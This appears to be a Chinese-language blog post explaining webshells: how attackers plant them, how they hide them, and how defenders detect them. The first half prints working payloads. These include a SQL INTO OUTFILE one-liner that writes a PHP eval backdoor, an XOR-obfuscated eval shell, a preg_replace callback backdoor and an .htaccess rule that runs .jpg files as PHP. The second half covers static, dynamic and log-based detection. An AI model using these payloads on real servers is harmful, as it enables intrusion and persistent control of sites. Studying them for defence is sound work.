Web安全之:WebShell的获取与查杀

时间:2021-03-11 21:26:23

0x00 什么是webshell

攻击者以asp、php、jsp等网页文件形式保存在Web服务器上的一种命令执行环境,也可称为网页后门。

攻击者使用浏览器访问webshell,得到一个命令执行环境,以达到控制网站或服务器的目的

0x01 如何获取webshell

利用网站的文件操作漏洞将webshell写入网站目录中

SQL注入

利用条件:

  • 当前mysql用户拥有FILE权限
  • 网站未对单引号进行转义
payload:
select `<?php eval($_POST['test'])?>` into outfile '/var/www/test.php';

上传漏洞

利用条件

文件上传操作如头像、评论等,对用户上传文件过滤不严格,上传机制可被绕过,导致脚本文件的上传

任意代码执行

利用条件

用户传入参数被服务器脚本以源码方式执行
可直接插入恶意代码或利用脚本对应的文件写入操作写入webshell

任意文件包含漏洞

利用条件

网站动态包含配置文件
包含图片、日志文件等执行恶意代码

后台功能

利用条件

获取并进入网站后台管理界面,具有对网站文件写入与修改、数据库或文件备份、文件上传等权限

webshell收集

GitHub:WebShell收集项目

0x02 webshell的隐藏

  • 文件包含

    服务器内某访问量小、对网站影响小脚本文件中加入include(‘/upload/xx.jpg’);包含所上传的webshell文件

  • 命名:命名、存放位置具有诱惑性 : /admin/help.php

  • 改变编码格式
<?php@$_++;$__=(“#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
#利用异或运算:<?php @$_POST[0]($_POST[1])?> xxx=eval($_POST[1]);
  • callback函数
<?php
function funfunc($str){}
echo preg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")',
$_POST["cmd"]);
?>


cmd=<title>{${phpinfo()}}</tile>
  • 修改已有脚本代码

    在网站访问量小、不影响网站功能的脚本文件中加入一句话木马等

  • .htaccess文件

    当服务器开启.htaccess文件解析可在upload文件夹内创建.htaccess文件写入下面内容

AddType application/x-httpd-php .jpg
<Files demo.jpg>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
</Files>



在下学识浅薄,请诸位大神补充,感激不尽

0x03 webshell检测

webshell运行流程

hacker -> HTTP Protocol -> Web Server -> CGI
webshell为一个合法的http连接,在TCP/IP的应用层之下没有任何特征(谁知道呢)只能进行应用层检测

检测方式

静态检测

匹配文件特征码、特征值、危险函数eval等来查找webshell
依据特征码弱强特征,结合人工判断,可减少漏报误报概率
利用文件系统的属性判断,无缘无故多出的nobody属性文件必定有问题(Apache是nobody启动)

弱点: 漏报误报率较高,无法查杀变种及0day型

动态监测

依据webshell文件执行表现的特征即动态特征,如菜刀操作的特征

webshell命令执行时必会创建bash或IIS User启动cmd 由PID进程号定位webshell

http异常模型检测,检测若有有用户访问一个从未访问过的文件并得到200响应,很容易定位webshell

修改内核,hook一些危险函数eval、asset,重新编译php;

弱点:降低php性能及业务性能

日志检测

webshell访问特征
- 少量ip发起fangwen
- 总访问次数少
- 该页面属于孤立页面

干扰数据:

管理后台等正常孤立页面
扫描器行为

0x04 有待补充

over